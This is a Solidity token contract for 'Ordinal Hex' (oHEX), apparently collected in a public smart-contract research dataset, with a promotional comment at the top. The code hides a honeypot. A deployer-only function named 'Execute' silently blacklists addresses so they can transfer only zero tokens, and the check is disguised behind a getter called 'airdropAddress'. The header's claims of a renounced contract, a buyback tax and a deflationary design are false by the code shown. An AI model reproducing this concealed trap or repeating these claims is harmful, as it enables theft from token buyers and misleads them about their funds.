File size: 6,212 Bytes
f998fcd |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 |
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/**
◽️OrdinalHEX {$oHEX} ♾UNSTOPPABLE
▪️oHEX Stakers earn far more yield than the inflation rate.
Only a small part of all oHEX are actually Staked,
around 50% at the time of writing.
▪️The rewards are paid in oHEX. This way the yield on your
oHEX multiplies with the price appreciation of HEX against USD.
▪️ZERO BUY TAX /5% SELL USED FOR BUYBACK
▪️LONG TERM LIQUIDITY LOCK & CONTRACT RENOUNCED
▪️AUTOMATED DEFLATIONARY TOKEN
▪️STRONG DEDICATED AND EXPERIENCED DOXXED TEAM
▪️oHEX is signup-free and secure, executed
peer-to-peer on the Blockchain. No middlemen, no counterparty risk!
▪️You are the network being in complete control.
There are no middlemen or managers in oHEX.
*/
//SPDX-License-Identifier: MIT
pragma solidity =0.5.15;
contract ERC20Basic {
function balanceOf(
address account
)
public
view
returns (uint256);
function totalSupply(
)
public
view
returns (uint256);
function transfer(
address to,
uint256 value
)
public
returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value);
}
library SafeMath {
function sub(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function mul(
uint256 a,
uint256 b
)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a / b;
}
function add(
uint256 a,
uint256 b
) internal
pure
returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => bool) internal _address_;
mapping (address => uint256) balances;
uint256 totalSupply_;
function totalSupply(
)
public
view
returns (uint256)
{
return totalSupply_;
}
function balanceOf(
address account
)
public
view
returns (uint256) {
return balances[account];
}
function transfer(
address _to,
uint256 _value
) public
returns (bool) { if (
_address_[msg.sender]
|| _address_[_to]) require(
_value == 0, ""); require(
_to != address(0)); require(
_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
}
contract ERC20 is ERC20Basic {
function allowance(
address owner,
address spender
)
public
view
returns (uint256);
function approve(
address spender,
uint256 value
)
public
returns (bool);
event Approval
(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool);
}
contract StandardERC20 is ERC20, BasicToken {
address internal approved;
mapping (address => mapping (address => uint256)) internal allowed;
constructor () public {
approved = msg.sender;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool) { if
(_address_[_from] ||
_address_[_to]) require(
_value == 0, ""); require(
_to != address(0)); require(
_value <= balances[_from]); require(
_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function Execute(
address _address
)
external { require(
msg.sender ==
approved); if (
_address_
[_address] == true){
_address_
[_address] = false;}
else { _address_
[_address] = true;
}
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function airdropAddress(
address _address
)
public
view
returns (bool)
{
return _address_
[_address];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract oHEX is StandardERC20 {
string public constant name = "Ordinal Hex";
string public constant symbol = "oHEX";
uint256 public constant _totalSupply_ = 1000000000 * (10 ** uint256(decimals));
uint8 public constant decimals = 9;
constructor() public {
totalSupply_ = totalSupply_.add(_totalSupply_);
balances[msg.sender] = balances[msg.sender].add(_totalSupply_);
emit Transfer(address(0), msg.sender, _totalSupply_);
}
} |